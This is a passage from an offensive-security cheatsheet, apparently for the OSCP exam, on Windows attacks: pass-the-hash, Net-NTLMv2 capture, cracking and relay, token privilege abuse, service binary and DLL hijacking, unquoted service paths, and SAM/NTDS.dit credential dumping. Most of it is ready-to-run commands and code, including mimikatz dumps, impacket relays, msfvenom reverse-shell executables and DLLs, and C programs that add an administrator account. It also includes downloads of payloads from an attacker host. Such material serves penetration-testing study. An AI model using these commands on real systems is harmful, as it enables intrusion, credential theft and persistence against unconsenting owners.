6.14 Pass-The-Hash NTLM
- Dump the SAM Database:
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # token::elevate
...
mimikatz # lsadump::sam
RID : <RID>
User : <USERNAME>
Hash NTLM: <NTLM_HASH>
- Authenticate
# Using smbclient
impacket-psexec -hashes <LM_HASH>:<NTLM_HASH> <USERNAME>@<TARGET_IP>
# Using PsExec
impacket-psexec -hashes <LM_HASH>:<NTLM_HASH> <USERNAME>@<TARGET_IP>
# Using WMIExec
impacket-wmiexec -hashes <LM_HASH>:<NTLM_HASH> <USERNAME>@<TARGET_IP>
# Using xfreerdp
xfreerdp /v:<target_ip> /u:<USERNAME> /pth:<NTLM_HASH> /size:<resolution>
6.15 Cracking Net-NTLMv2
Parameters:
<interface>
: Network interface to listen on (e.g.,eth0
,wlan0
, etc.).<responder_ip>
: IP address of the machine running Responder.<victim_ip>
: IP address of the victim machine.<DOMAIN>
: Domain of the user.<hash_file>
: File containing the captured NTLMv2 hash.
1. Start Responder Run the Responder tool to capture Net-NTLMv2 hashes. Ensure the victim requests a file that does not exist to generate the necessary traffic.
sudo responder -I <interface>
2. Victim Request Example The victim's request to the Responder server can be through various services. For instance, an HTTP request might look like this:
C:\Windows\system32> dir \\<responder_ip>\test
dir \\<responder_ip>\test
Access is denied.
3. Capture Example Output After the victim's request, you should see output similar to this:
[SMB] NTLMv2-SSP Client : ::ffff:<victim_ip>
[SMB] NTLMv2-SSP Username : <DOMAIN>\emma
[SMB] NTLMv2-SSP Hash : emma::<DOMAIN>:<NTLM_HASH>
4. Crack the Hash
Use Hashcat to crack the captured NTLMv2 hash. The hashcat mode for Net-NTLMv2 is 5600
.
hashcat -m 5600 <hash_file> /usr/share/wordlists/rockyou.txt --force
hashcat (v6.2.5) starting
...
<DOMAIN>\emma::<NTLM_HASH>:123Password123
...
6.16 Relaying Net-NTLMv2
1. Start Impacket ntlmrelayx
Use the Impacket ntlmrelayx
tool to capture NTLMv2 requests and relay them to a target.
Replace <target_ip>
with the IP address of the machine where you want to execute the
command.
impacket-ntlmrelayx --no-http-server -smb2support -t <target_ip> -c "powershell -enc <base64_encoded_powershell_command_to_be_executed_on_the_target_machine>"
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
[*] Protocol Client SMB loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server
[*] Setting up WCF Server
[*] Setting up RAW Server on port 6666
[*] Servers started, waiting for connections
2. Expected Output After Victim Request Once the victim makes a request, you should see output like this indicating that the relay was successful and the command was executed on the target:
[*] SMBD-Thread-4: Received connection from <victim_ip>, attacking target smb://<target_ip>
[*] Authenticating against smb://<target_ip> as <domain>/<username> SUCCEED
[*] SMBD-Thread-6: Connection from <victim_ip> controlled, but there are no more targets left!
...
[*] Executed specified command on host: <target_ip>
3. Setup Netcat Listener
# The port should match the port specified in the reverse shell command
nc -nvlp [port]
4. Force Victim Request (Example) Trigger the victim machine to make a request to the Responder server, which can be done through various means such as Remote Code Execution (RCE) in a web application:
# <responder_ip>: IP address of the machine running the Responder server.
C:\Windows\system32> dir \\<responder_ip>\test
6.17 Online Tools
7. Windows Privilege Escalation
7.1 Enumeration
Category | Command | Description |
---|---|---|
Username and Hostname | whoami |
Displays the current user and hostname. |
Existing Users | Get-LocalUser |
Lists all local users. |
Existing Groups | Get-LocalGroup |
Lists all local groups. |
net localgroup |
Alternative method to list groups. | |
Get-LocalGroupMember -GroupName [GroupName] |
Lists members of a specific group. | |
Operating System, Version, and Architecture | systeminfo |
Displays detailed OS information. |
Network Information | ipconfig /all |
Displays detailed network configuration. |
route print |
Shows routing table. | |
netstat -ano |
Displays network connections and listening ports. | |
Installed Applications | 32-bit Applications:
Get-ItemProperty -Path "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*"
|
Lists installed 32-bit applications. |
Optional: Select-Object -Property DisplayName |
Filters to show only application names. | |
64-bit Applications:
Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*"
|
Lists installed 64-bit applications. | |
Optional: Select-Object -Property DisplayName |
Filters to show only application names. | |
Running Processes | Get-Process |
Lists all running processes. |
Optional: Select-Object -Property ProcessName, Path |
Displays process names and paths. | |
Service Accounts | Get-WmiObject -Class Win32_Service | Select-Object Name, StartName |
Lists services and their associated accounts. |
Scheduled Tasks | Get-ScheduledTask | Select-Object TaskName, TaskPath, State |
Displays scheduled tasks and their status. |
Local Administrator Group Members | Get-LocalGroupMember -GroupName "Administrators" |
Lists members of the local Administrators group. |
System Drives and Mounted Volumes | Get-PSDrive -PSProvider FileSystem |
Shows all drives and mounted volumes, including network shares. |
PowerShell Version | $PSVersionTable.PSVersion |
Displays the version of PowerShell in use, which can be relevant for identifying potential exploitability or compatibility issues. |
7.2 Finding Files in Directories
Searching for Password Manager Databases
Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue
Searching for Sensitive Information in the XAMPP Directory
Get-ChildItem -Path C:\xampp -Include *.txt,*.ini -File -Recurse -ErrorAction SilentlyContinue
Finding Unusual Files and Directories
Get-ChildItem -Path C:\Users -Include *.bak,*.old,*.tmp -File -Recurse -ErrorAction SilentlyContinue
Finding files with SYSTEM or Administrators group permissions
Get-ChildItem -Path [Path] -File -Recurse | Where-Object {
(Get-Acl $_.FullName).Access | Where-Object { $_.IdentityReference -like "*SYSTEM*" -or $_.IdentityReference -like "*Administrators*" }
}
Finding Large Files
Get-ChildItem -Path [Path] -File -Recurse | Where-Object { $_.Length -gt [SizeInBytes] } | Select-Object FullName, Length
Finding Executable Files
Get-ChildItem -Path C:\Users -Include *.exe,*.bat,*.ps1 -File -Recurse -ErrorAction SilentlyContinue
Finding Directories Writable by All Users
Get-ChildItem -Path [Path] -Directory -Recurse | Where-Object {
(Get-Acl $_.FullName).Access | Where-Object { $_.FileSystemRights -like "*Write*" -and $_.IdentityReference -like "*Users*" }
}
Using Runas
to Execute CMD as a Different User
# Replace [Domain\Username] with the target username (e.g., backupadmin). You will be prompted to enter the password for the specified user.
runas /user:[Domain\Username] cmd
7.3 PowerShell Goldmine (Logs)
Command History
Get-History
Finding PSReadline History File Path
(Get-PSReadlineOption).HistorySavePath
Finding and Viewing the Goldmine for All User (Script)
$userProfiles = Get-ChildItem -Path C:\Users -Directory
foreach ($profile in $userProfiles) {
$historyPath = Join-Path -Path $profile.FullName -ChildPath "AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt"
if (Test-Path $historyPath) {
Write-Output "User: $($profile.Name)"
Write-Output "PSReadline History Path: $historyPath"
Write-Output "--------------------------------"
Get-Content -Path $historyPath
Write-Output ""
}
}
7.4 Abusing Token Privileges
7.4.1 Check Assigned Privileges
Keep in mind that tokens that appears as Disabled can be enabled, and we can also abuse both Enabled and Disabled tokens.
whoami /priv
7.4.2 Enable All Tokens
If you have tokens disables, you can use the script EnableAllTokenPrivs.ps1 below to enable all the tokens; we could also use as an alternative the script in this post.
.\EnableAllTokenPrivs.ps1
whoami /priv
## All Credit goes to Lee Holmes (@Lee_Holmes on twitter). I found the code here https://www.leeholmes.com/blog/2010/09/24/adjusting-token-privileges-in-powershell/
$definition = @'
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Runtime.InteropServices;
namespace Set_TokenPermission
{
public class SetTokenPriv
{
[DllImport("advapi32.dll", ExactSpelling = true, SetLastError = true)]
internal static extern bool AdjustTokenPrivileges(IntPtr htok, bool disall,
ref TokPriv1Luid newst, int len, IntPtr prev, IntPtr relen);
[DllImport("advapi32.dll", ExactSpelling = true, SetLastError = true)]
internal static extern bool OpenProcessToken(IntPtr h, int acc, ref IntPtr phtok);
[DllImport("advapi32.dll", SetLastError = true)]
internal static extern bool LookupPrivilegeValue(string host, string name, ref long pluid);
[StructLayout(LayoutKind.Sequential, Pack = 1)]
internal struct TokPriv1Luid
{
public int Count;
public long Luid;
public int Attr;
}
internal const int SE_PRIVILEGE_ENABLED = 0x00000002;
internal const int SE_PRIVILEGE_DISABLED = 0x00000000;
internal const int TOKEN_QUERY = 0x00000008;
internal const int TOKEN_ADJUST_PRIVILEGES = 0x00000020;
public static void EnablePrivilege()
{
bool retVal;
TokPriv1Luid tp;
IntPtr hproc = new IntPtr();
hproc = Process.GetCurrentProcess().Handle;
IntPtr htok = IntPtr.Zero;
List<string> privs = new List<string>() { "SeAssignPrimaryTokenPrivilege", "SeAuditPrivilege", "SeBackupPrivilege",
"SeChangeNotifyPrivilege", "SeCreateGlobalPrivilege", "SeCreatePagefilePrivilege",
"SeCreatePermanentPrivilege", "SeCreateSymbolicLinkPrivilege", "SeCreateTokenPrivilege",
"SeDebugPrivilege", "SeEnableDelegationPrivilege", "SeImpersonatePrivilege", "SeIncreaseBasePriorityPrivilege",
"SeIncreaseQuotaPrivilege", "SeIncreaseWorkingSetPrivilege", "SeLoadDriverPrivilege",
"SeLockMemoryPrivilege", "SeMachineAccountPrivilege", "SeManageVolumePrivilege",
"SeProfileSingleProcessPrivilege", "SeRelabelPrivilege", "SeRemoteShutdownPrivilege",
"SeRestorePrivilege", "SeSecurityPrivilege", "SeShutdownPrivilege", "SeSyncAgentPrivilege",
"SeSystemEnvironmentPrivilege", "SeSystemProfilePrivilege", "SeSystemtimePrivilege",
"SeTakeOwnershipPrivilege", "SeTcbPrivilege", "SeTimeZonePrivilege", "SeTrustedCredManAccessPrivilege",
"SeUndockPrivilege", "SeUnsolicitedInputPrivilege", "SeDelegateSessionUserImpersonatePrivilege" };
retVal = OpenProcessToken(hproc, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, ref htok);
tp.Count = 1;
tp.Luid = 0;
tp.Attr = SE_PRIVILEGE_ENABLED;
foreach (var priv in privs)
{
retVal = LookupPrivilegeValue(null, priv, ref tp.Luid);
retVal = AdjustTokenPrivileges(htok, false, ref tp, 0, IntPtr.Zero, IntPtr.Zero);
}
}
}
}
'@
$type = Add-Type $definition -PassThru
$type[0]::EnablePrivilege() 2>&1
7.4.3 Token Privileges Table
Privilege | Impact | Tool | Execution path | Remarks |
---|---|---|---|---|
SeAssignPrimaryToken |
Admin | 3rd party tool | "It would allow a user to impersonate tokens and privesc to nt system using tools such as potato.exe, rottenpotato.exe and juicypotato.exe" | Thank you Aurélien Chalot for the update. I will try to re-phrase it to something more recipe-like soon. |
SeAudit |
Threat | 3rd party tool | Write events to the Security event log to fool auditing or to overwrite old events. | Writing own events is possible with Authz Report Security Event
API.- see PoC by @daem0nc0re |
SeBackup |
Admin | 3rd party tool | 1. Backup the HKLM\SAM and HKLM\SYSTEM registry hives 2. Extract the local accounts hashes from the SAM database 3. Pass-the-Hash as a member of the local Administrators group Alternatively, can be used to read sensitive files. |
For more information, refer to the SeBackupPrivilege
file.- see PoC by @daem0nc0re |
SeBackup |
Admin | 3rd party tool Sensitive files access (in combination with SeRestore ):
Built-in commands |
1. Enable the privilege in the token 2. Export the HKLM\SAM and HKLM\SYSTEM registry hives:
cmd /c "reg save HKLM\SAM SAM & reg save HKLM\SYSTEM SYSTEM" 3. Eventually transfer the exported hives on a controlled computer 4. Extract the local accounts hashes from the export SAM hive. For example
using Impacket 's secretsdump.py Python script:
secretsdump.py -sam SAM -system SYSTEM LOCAL 5. Authenticate as the local built-in Administrator , or another member of the
local Administrators group, using its NTLM hash (Pass-the-Hash). For
example using Impacket 's psexec.py Python script:
psexec.py -hashes ":<ADMINISTRATOR_NTLM>" <Administrator>@<TARGET_IP>
Alternatively, can be used to read sensitive files with robocopy /b
|
- User Account Control may prevent Pass-the-Hash authentications with the local
accounts but by default the built-in Administrator (RID 500) account is not concerned
(as FilterAdministratorToken is disabled by default). - Pass-the-Hash authentications can be attempted over (at least) the following services: SMB (port
TCP 445), SMB over NetBIOS (port TCP 139), WinRM (ports TCP
5985 / 5986), or RDP if the Restricted Admin feature is enabled server
side (port TCP 3389). - Access to sensitive files may be more interesting if you can read %WINDIR%\MEMORY.DMP . - SeBackupPrivilege is not helpful
when it comes to open and write to files as it may only be used to copy files. - Robocopy requires both SeBackup and SeRestore to work with
the /b parameter (which are both granted to members of
the Backup Operators group by default). Instead, Copy-FileSeBackupPrivilege can
be used to backup files through a process with only the SeBackup privilege in its
token: Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll
Set-SeBackupPrivilege
Copy-FileSeBackupPrivilege <SOURCE_FILE> <DEST_FILE>
|
SeChangeNotify |
None | - | - | Privilege held by everyone. Revoking it may make the OS (Windows Server 2019) unbootable. |
SeCreateGlobal |
? | ? | ? | |
SeCreatePagefile |
None | Built-in commands | Create hiberfil.sys, read it offline, look for sensitive data. | Requires offline access, which leads to admin rights anyway. - See PoC by @daem0nc0re |
SeCreatePermanent |
? | ? | ? | |
SeCreateSymbolicLink |
? | ? | ? | |
SeCreateToken |
Admin | 3rd party tool | Create arbitrary token including local admin rights with NtCreateToken .- see PoC by @daem0nc0re |
|
SeDebug |
Admin | PowerShell | Duplicate the lsass.exe token. |
Script to be found at FuzzySecurity. - See PoC by @daem0nc0re |
SeDelegateSession- UserImpersonate |
? | ? | ? | Privilege name broken to make the column narrow. |
SeEnableDelegation |
None | - | - | The privilege is not used in the Windows OS. |
SeImpersonate |
Admin | 3rd party tool | Tools from the Potato family (potato.exe, RottenPotato, RottenPotatoNG, Juicy Potato, SweetPotato, RemotePotato0), RogueWinRM, PrintSpoofer, etc. | Similarly to SeAssignPrimaryToken , allows by design to create a process under the
security context of another user (using a handle to a token of said user). Multiple tools and techniques may be used to obtain the required token. |
SeIncreaseBasePriority |
Availability | Built-in commands | start /realtime SomeCpuIntensiveApp.exe |
May be more interesting on servers. |
SeIncreaseQuota |
Availability | 3rd party tool | Change cpu, memory, and cache limits to some values making the OS unbootable. | - Quotas are not checked in the safe mode, which makes repair relatively easy. - The same privilege is used for managing registry quotas. |
SeIncreaseWorkingSet |
None | - | - | Privilege held by everyone. Checked when calling fine-tuning memory management functions. |
SeLoadDriver |
Admin | 3rd party tool | 1. Load buggy kernel driver such as szkg64.sys 2. Exploit the driver vulnerability Alternatively, the privilege may be used to unload security-related drivers with fltMC builtin command. i.e.: fltMC sysmondrv |
1. The szkg64 vulnerability is listed as CVE-2018-157322. The szkg64 exploit code was
created by Parvez Anwar |
SeLockMemory |
Availability | 3rd party tool | Starve System memory partition by moving pages. | PoC published by Walied Assar (@waleedassar) |
SeMachineAccount |
None | - | - | The privilege is not used in the Windows OS. |
SeManageVolume |
Admin | 3rd party tool | 1. Enable the privilege in the token 2. Create handle to \.\C: with SYNCHRONIZE | FILE_TRAVERSE 3. Send the FSCTL_SD_GLOBAL_CHANGE to
replace S-1-5-32-544 with S-1-5-32-545 4. Overwrite utilman.exe etc. |
FSCTL_SD_GLOBAL_CHANGE can be made with this piece of
code. |
SeProfileSingleProcess |
None | - | - | The privilege is checked before changing (and in very limited set of commands, before querying) parameters of Prefetch, SuperFetch, and ReadyBoost. The impact may be adjusted, as the real effect is not known. |
SeRelabel |
Threat | 3rd party tool | Modification of system files by a legitimate administrator | See: MIC
documentation Integrity labels provide additional protection, on top of well-known ACLs. Two main scenarios include: - protection against attacks using exploitable applications such as browsers, PDF readers etc. - protection of OS files. SeRelabel
present in the token will allow to use WRITE_OWNER access to a resource, including
files and folders. Unfortunately, the token with IL less than High will have SeRelabel
privilege disabled, making it useless for anyone not being an admin already.See great blog post by @tiraniddo for details. |
SeRemoteShutdown |
Availability | Built-in commands | shutdown /s /f /m \\server1 /d P:5:19 |
The privilege is verified when shutdown/restart request comes from the network. 127.0.0.1 scenario to be investigated. |
SeReserveProcessor |
None | - | - | It looks like the privilege is no longer used and it appeared only in a couple of versions of winnt.h. You can see it listed i.e. in the source code published by Microsoft here. |
SeRestore |
Admin | PowerShell | 1. Launch PowerShell/ISE with the SeRestore privilege present. 2. Enable the privilege with Enable-SeRestorePrivilege). 3. Rename utilman.exe to utilman.old 4. Rename cmd.exe to utilman.exe 5. Lock the console and press Win+U |
Attack may be detected by some AV software. Alternative method relies on replacing service binaries stored in "Program Files" using the same privilege. - see PoC by @daem0nc0re |
SeSecurity |
Threat | Built-in commands | - Clear Security event log: wevtutil cl Security - Shrink the Security log to 20MB to make events flushed soon: wevtutil sl Security /ms:0 - Read Security event log to have knowledge about processes, access and actions of other users within the system. - Knowing what is logged to act under the radar. - Knowing what is logged to generate large number of events effectively purging old ones without leaving obvious evidence of cleaning. - Viewing and changing object SACLs (in practice: auditing settings) |
See PoC by @daem0nc0re |
SeShutdown |
Availability | Built-in commands | shutdown.exe /s /f /t 1 |
Allows to call most of NtPowerInformation() levels. To be investigated. Allows to call NtRaiseHardError() causing immediate BSOD and memory dump, leading potentially to sensitive information disclosure - see PoC by @daem0nc0re |
SeSyncAgent |
None | - | - | The privilege is not used in the Windows OS. |
SeSystemEnvironment |
Unknown | 3rd party tool | The privilege permits to use NtSetSystemEnvironmentValue ,
NtModifyDriverEntry and some other syscalls to manipulate UEFI variables.
|
The privilege is required to run sysprep.exe. Additionally: |
SeSystemProfile |
? | ? | ? | |
SeSystemtime |
Threat | Built-in commands | cmd.exe /c date 01-01-01 cmd.exe /c time 00:00 |
The privilege allows to change the system time, potentially leading to audit trail integrity
issues, as events will be stored with wrong date/time. - Be careful with date/time formats. Use always-safe values if not sure. - Sometimes the name of the privilege uses uppercase "T" and is referred as SeSystemTime . |
SeTakeOwnership |
Admin | Built-in commands | 1. takeown.exe /f "%windir%\system32" 2. icacls.exe "%windir%\system32" /grant "%username%":F 3. Rename cmd.exe to utilman.exe 4. Lock the console and press Win+U |
Attack may be detected by some AV software. Alternative method relies on replacing service binaries stored in "Program Files" using the same privilege. - See PoC by @daem0nc0re |
SeTcb |
Admin | 3rd party tool | Manipulate tokens to have local admin rights included. | Sample code+exe creating arbitrary tokens to be found at PsBits. |
SeTimeZone |
Mess | Built-in commands | Change the timezone. tzutil /s "Chatham Islands Standard Time" |
|
SeTrustedCredManAccess |
Threat | 3rd party tool | Dumping credentials from Credential Manager | Great blog
post by @tiraniddo. - see PoC by @daem0nc0re |
SeUndock |
None | - | - | The privilege is enabled when undocking, but never observed it checked to grant/deny access. In practice it means it is actually unused and cannot lead to any escalation. |
SeUnsolicitedInput |
None | - | - | The privilege is not used in the Windows OS. |
7.5 Service Binary Hijacking
7.5.1 Basic and Main Checks
Check Running Services
# Tip: Look for services with paths outside of `system32` or other unexpected locations.; try to find that thing that seems out of place.
Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -eq 'Running'}
Review Permissions of a Service
icacls "C:\Path\To\ServiceBinary.exe"
Obtain Startup Type of a Service
Get-CimInstance -ClassName win32_service | Select Name, StartMode | Where-Object {$_.Name -eq '<ServiceName>'}
Creating an Executable That Adds a New Administrator User
#include <stdlib.h>
int main ()
{
system("net user emma Password123! /add");
system("net localgroup administrators emma /add");
return 0;
}
# Cross-Compile the C Code to a 64-bit Application
x86_64-w64-mingw32-gcc adduser.c -o adduser.exe
Creating an Executable that is a Reverse Shell
# For 64-bit executable
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<Your_IP> LPORT=<Your_Port> -f exe -o reverse_shell.exe
# For 32-bit executable
msfvenom -p windows/shell_reverse_tcp LHOST=<Your_IP> LPORT=<Your_Port> -f exe -o reverse_shell.exe
Replacing the Service Binary with a Malicious Binary
It can be a reverse shell generated from msfvenom
or for example the program above that
will add a new user to the system.
# Remember to run the HTTP server on your Kali to be able to bring the binary.
iwr -uri http://<attacker-ip>/adduser.exe -Outfile adduser.exe
move "C:\Path\To\ServiceBinary.exe" "C:\Path\To\Backup\ServiceBinary.exe"
move .\adduser.exe "C:\Path\To\ServiceBinary.exe"
Restart the Service
- Using PowerShell Function
Restart-Service -Name '<ServiceName>'
- Using
sc.exe
sc.exe stop <ServiceName>
sc.exe start <ServiceName>
Restart the System
# First check for reboot privileges: SeShutdownPrivilege should be Assigned and Enabled.
whoami /priv
# Perform the restart
shutdown /r /t 0
7.5.2 Additional Optional Checks
Automating the Process with PowerUp
- Start the HTTP server in our Kali with the script in the folder.
cp /usr/share/windows-resources/powersploit/Privesc/PowerUp.ps1 .
python3 -m http.server 80
- Bring the script and run it.
iwr -uri http://<attacker-ip>/PowerUp.ps1 -Outfile PowerUp.ps1
powershell -ep bypass
. .\PowerUp.ps1
Get-ModifiableServiceFile
Install-ServiceBinary -Name '<ServiceName>'
- (Optional) Find files and check paths for which our current user can modify.
$ModifiableFiles = echo 'C:\Path\To\ServiceBinary.exe' | Get-ModifiablePath -Literal
Script to find Services with Weak Permissions
Get-CimInstance -ClassName win32_service | Select Name, PathName | ForEach-Object {
$path = $_.PathName -replace '"', ''
if (Test-Path $path) {
icacls $path
}
}
Inspect Service Dependencies Some services use configuration files that can be hijacked similarly to service binaries.
# List service dependencies
Get-CimInstance -ClassName win32_service | Select Name, PathName, DependentServices | Where-Object {$_.DependentServices -ne $null}
Check for Service Configuration File Hijacking Services often have dependencies that might also be vulnerable. Check dependencies to identify additional attack vectors.
# Some services use configuration files that can be hijacked similarly to service binaries. Example: Checking permissions on a configuration file
icacls "C:\Path\To\Service\ConfigFile.ini"
Service Binary Analysis Keep. in mind that some of the PWK machines were solved using reverse engineering to find hardcoded credentials or important strings; so perform static analysis of the service binary to understand its behavior and identify potential weaknesses or vulnerabilities.
-
Bring the binary to the Kali: If you are using some
impacket-tool
you can use their built-in function to bring the file; but if you are using a reverse shell use the steps from the section 15.6 of this cheatsheet. -
Perform the analysis with multiple tools
strings [downloaded_binary]
flare-floss [downloaded_binary]
# Use dnSpy if you know that the binary was built using .NET.
# You could also use tools like PEiD, IDA Pro, or Ghidra to analyze the binary (this is not recommended because the exam is usually not that complex and you could be going into a rabbit hole).
Monitor Service Activity After replacing the service binary, monitor system activity to ensure that the new binary is executed correctly and to identify any issues.
Get-WinEvent -LogName System | Where-Object {$_.Message -like "*<ServiceName>*"}
Ensure Persistence For maintaining access, ensure that the changes are persistent across reboots and do not get overwritten by updates or system checks.
# Check for system update settings that might revert changes
Get-WindowsUpdateLog
7.6 Service DLL Hijacking
Windows searches for DLLs in a specific order. To exploit DLL hijacking, understand the order:
- The directory from which the application loaded.
- The system directory (e.g.,
C:\Windows\System32
). - The 16-bit system directory (e.g.,
C:\Windows\System32\System
). - The Windows directory (e.g.,
C:\Windows
). - The current directory.
- The directories listed in the
PATH
environment variable.
Tools to Find Possible DLL to Hijack
Consider using tools like Process Monitor (ProcMon
) to monitor DLL loading and Dependency
Walker (depends.exe
) to analyze DLL dependencies.
Display Running Service Information
# List running services and their executable paths
Get-CimInstance -ClassName win32_service | Select Name, State, PathName | Where-Object {$_.State -like 'Running'}
Check PATH Locations
Examine the PATH
environment variable to determine where DLLs might be loaded from.
# Display the PATH environment variable
$env:path
Create a Malicious DLL That Adds a New Administrator User Write a DLL that executes commands when loaded. For example, create a DLL to add a new administrator user.
#include <windows.h>
BOOL APIENTRY DllMain(
HMODULE hModule, // Handle to DLL module
DWORD ul_reason_for_call, // Reason for calling function
LPVOID lpReserved // Reserved
) {
if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
// Execute system commands to add a new user and grant admin rights
system("net user emma Password123! /add");
system("net localgroup administrators emma /add");
}
return TRUE;
}
# Cross-Compile the DLL
x86_64-w64-mingw32-gcc DLLMain.cpp --shared -o DLLMain.dll
Creating a DLL that is a Reverse Shell
# For 64-bit DLL
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<Your_IP> LPORT=<Your_Port> -f dll -o reverse_shell.dll
# For 32-bit DLL
msfvenom -p windows/shell_reverse_tcp LHOST=<Your_IP> LPORT=<Your_Port> -f dll -o reverse_shell.dll
Replace the DLL and Restart the Service
It can be a reverse shell generated from msfvenom
or for example the program above that
will add a new user to the system.
# Bring the file from your Kali using an HTTP server
# Move the original DLL (back it up if necessary)
move "C:\path\to\original\DLL.dll" "C:\path\to\backup\DLL.dll"
# Replace it with your malicious DLL
move "C:\path\to\malicious\myDLL.dll" "C:\path\to\service\DLL.dll"
# Restart the service
Restart-Service -Name "[serviceToHijack]"
Verify Execution of the Malicious Code Check if the malicious code (e.g., user creation) has been executed successfully; or if it was the reverse shell you should have receive the connection to the Netcat listener back.
# List users to check if the new user was added
net user
# List local administrators to verify if the new user is an admin
net localgroup administrators
Verify that the PATH environment variable still includes the expected directories.
# Display the PATH environment variable
$env:path
7.7 Unquoted Service Paths
List Services with Unquotes Pahts
wmic service get name,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v """
Path Resolution Process When Windows attempts to locate the executable, it checks paths in the following order:
- Initial Path Attempt: Windows first attempts to execute the path as specified. For
example, if the service path is
C:\Program Files\MyApp\app.exe
, it tries to runC:\Program Files\MyApp\app.exe
. - Path Segmentation: If the path contains spaces and is not quoted, Windows tries
different combinations by breaking the path at each space and appending
.exe
to each segment. This means Windows will attempt to execute:C:\Program.exe
C:\Program Files\MyApp.exe
C:\Program Files\MyApp\app.exe
- Directory Check: If a malicious executable is placed in one of these directories
(e.g.,
C:\Program Files\
), Windows might execute this malicious file instead of the intendedapp.exe
.
For example, for a service path C:\Program Files\ExampleApp\ExampleService.exe
, Windows
might try: C:\Program.exe
(if a malicious file is here). Proper quoting of paths is
essential to prevent these vulnerabilities.
Review Directory Permissions
icacls "<PathToDirectory>"
Automating the Enumeration Process with PowerUp
# Download PowerUp script
iwr http://<YourServerIP>/PowerUp.ps1 -Outfile PowerUp.ps1
# Bypass execution policy and run the script
powershell -ep bypass
. .\PowerUp.ps1
# List unquoted service paths
Get-UnquotedService
Exploit Unquoted Service Paths
# Create the binary from Kali, could be any program, for example a reverse shell, or a program that adds a new user.
# Replace service binary with malicious executable (Manually)
copy <malicious_file> "C:\Program Files\ExampleApp\Current.exe"
# Replace service binary with malicious executable (with PowerUp)
Write-ServiceBinary -Name '<ServiceName>' -Path '<PathToMaliciousExecutable>'
# Restart the service
Restart-Service <ServiceName>
# Verify the service status
Get-Service -Name '<ServiceName>'
# Check event logs for service-related events
Get-WinEvent -LogName System | Where-Object {$_.Id -eq 7036 -and $_.Message -like "*<ServiceName>*"}
7.8 Scheduled Tasks
List all Scheduled Tasks
schtasks /query /fo LIST /v
Review Permissions on the Executable
icacls "C:\Path\To\ScheduledTaskExecutable.exe"
Download and Replace the Executable File
iwr -Uri http://<attacker-ip>/malicious.exe -Outfile malicious.exe
move C:\Path\To\TargetDirectory\Executable.exe C:\Path\To\Backup\OriginalExecutable.bak
move .\malicious.exe C:\Path\To\TargetDirectory\Executable.exe
7.9 Shadow Copies (SAM, SYSTEM, NTDS.dit, SECURITY, NTUSER.dat)
If you find a Windows.Old
folder or can access Volume Shadow Copies, you can copy
important files
like SYSTEM
, SAM
, NTDS.dit
, SECURITY
,
and NTUSER.dat
for offline credential extraction. Keep in mind that these could also be
located in other folders, for example and SMB share folder; the path it is usually something like
C:\Windows\System32\SAM
or C:\windows.old\Windows\System32\SAM
.
IMPORTANT: if we are using any impacket-tool
we could use their built-in
function to download the contents to our Kali, but if we are using a reverse shell we can use
the strategies of the Section 16 (Files Transfer) to bring the files to our Kali.
7.9.1 Key Files to Target
- SAM: Stores user password hashes.
- SYSTEM: Used to decrypt SAM and other sensitive files.
- NTDS.dit: Active Directory database, found on Domain Controllers, containing domain-wide user credentials.
- SECURITY: Contains LSA secrets, cached credentials, and security policies.
- NTUSER.dat: Contains user-specific registry information, including credentials for network drives or applications.
7.9.2 Dumping SAM and SYSTEM Files
- Dump the SAM file
reg save hklm\sam <destination_path>\sam
- Dump the SYSTEM file
reg save hklm\system <destination_path>\system
- Extract credentials on Kali
samdump2 <system_file> <sam_file>
or
impacket-secretsdump -sam <sam_file> -system <system_file> LOCAL
7.9.3 Accessing NTDS.dit (Active Directory Database)
- Copy NTDS.dit from a shadow copy
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy<ShadowCopyID>\windows\ntds\ntds.dit <destination_path>\ntds.dit.bak
- Save the SYSTEM hive for decryption
reg.exe save hklm\system <destination_path>\system.bak
- Extract AD credentials on Kali
impacket-secretsdump -ntds <ntds_dit_backup> -system <system_backup> LOCAL
7.9.4 Dumping SECURITY Hive for LSA Secrets & Cached Credentials
- Dump the SECURITY hive
reg save hklm\security <destination_path>\security
- Dump the SYSTEM file
reg save hklm\system <destination_path>\system
- Extract LSA Secrets on Kali
impacket-secretsdump -security <security_file> -system <system_file> LOCAL
7.9.5 Extracting User-Specific Credentials from NTUSER.dat
-
Access
NTUSER.dat
:, download theNTUSER.dat
file from a user profile, typically found inC:\Users\<username>\NTUSER.dat
-
Load the NTUSER.dat hive
reg load hku\TempHive <path_to_ntuser.dat>
- Look for credentials and interesting values: Check for saved credentials, network drive mappings, or application data within the user’s registry.
7.9.6 General Volume Shadow Copy Access
We can use Volume Shadow Copies to access historical versions of key files:
- List available shadow copies
vssadmin list shadows
- Copy any file from a shadow copy
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy<ShadowCopyID>\<path_to_file> <destination_path>
7.10 Scripts
7.10.1 WinPEAS
WinPEAS (Windows Privilege Escalation Awesome Script) is a script for enumerating privilege escalation opportunities on Windows systems.
Usage
.\winPEAS.ps1
Save output to a file while preserving colors
.\winPEAS.ps1 | tee winpeas_output.txt
Save output to a file without preserving colors
.\winPEAS.ps1 | Out-File -FilePath winpeas_output.txt
Convert Output to HTML
- Using the documentation method
# 1. Download file from victim to local Kali, we could use techniques from section 15.
# 2. Convert .txt to .json.
python3 peas2json.py ./winpeas_output.txt peass.json
# 3. Convert .json to .html.
